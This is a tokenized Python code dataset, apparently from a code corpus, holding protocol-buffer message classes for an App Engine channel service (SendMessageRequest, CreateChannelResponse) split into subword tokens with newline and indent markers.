"Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Parti", "al_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "has", "\\u", "token", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "18_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "token", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "24_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Tr", "y", "Merge_", "(_", "self_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "d_", "._", "avail_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tt_", "=_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tt_", "==_", "18_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "token_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tt_", "==_", "24_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "duration", "\\u", "minutes_", "(_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "tt_", "==_", "0_", ")_", ":_", "raise_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Buffer", "Decode", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "skip", "Data_", "(_", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ",_", "prefix_", "=_", "\"\"_", ",_", "print", "Ele", "m", "Number_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "token", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "token", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "self_", "._", "token", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "duration", "\\u", "minute", "s", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "Int32_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "sparse_", ",_", "maxt", "ag_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "[_", "sparse_", "._", "get_", "(_", "i_", ",_", "default_", ")_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "1_", "+_", "maxt", "ag_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "applica", "tion", "\\u", "key", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "message", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "tag", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kap", "pli", "cation", "\\u", "key_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "km", "essage_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kt", "ag_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TEXT_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "\"", "Error", "Code", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "\"", "applica", "tion", "\\u", "key", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "\"", "message", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "\"", "tag", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TYPES_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "3_", ",_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "MAX", "\\u", "TYPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "STYLE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "STYLE", "\\u", "CONTE", "NT", "\\u", "TYPE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "PROTO", "\\u", "DESCRIPT", "OR", "\\u", "NAME_", "=_", "'", "app", "hostin", "g", ".", "Sen", "d", "Messag", "e", "Request", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "contents_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "contents_", "is_", "not_", "None_", ":_", "self_", "._", "Merge", "Fro", "m", "String_", "(_", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "applica", "tion", "\\u", "key_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "message_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "message", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "message_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "message", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "message", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "message_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "message", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "message", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "message", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "message_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "message", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "tag_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "tag", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "tag_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "tag", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "tag_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "tag", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "tag_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "tag", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "Merge", "From_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "x_", "is_", "not_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "applica", "tion", "\\u", "key_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "applica", "tion", "\\u", "key_", "(_", "x_", "._", "applica", "tion", "\\u", "key_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "message_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "message_", "(_", "x_", "._", "message_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "tag_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "tag_", "(_", "x_", "._", "tag_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Equals_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "is_", "self_", ":_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "!=_", "x_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", "and_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", "!=_", "x_", "._", "applica", "tion", "\\u", "key", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "message", "\\u_", "!=_", "x_", "._", "has", "\\u", "message", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "message", "\\u_", "and_", "self_", "._", "message", "\\u_", "!=_", "x_", "._", "message", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", "!=_", "x_", "._", "has", "\\u", "tag", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", "and_", "self_", "._", "tag", "\\u_", "!=_", "x_", "._", "tag", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Is", "Initialized", "_", "(_", "self_", ",_", "debug", "\\u", "strs_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "not_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug", "\\u", "strs_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "debug", "\\u", "strs_", "._", "append_", "(_", "'", "Requ", "ired", " ", "field", ":", " ", "applica", "tion", "\\u", "key", " ", "not", " ", "set", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "not_", "self_", "._", "has", "\\u", "message", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "debug", "\\u", "strs_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "debug", "\\u", "strs_", "._", "append_", "(_", "'", "Requ", "ired", " ", "field", ":", " ", "message", " ", "not", " ", "set", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "initialized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "message", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "+_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size", "Parti", "al_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "message", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "message", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sen", "d", "Messag", "e", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clear", "\\u", "applica", "tion", "\\u", "key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "message_", "(_", 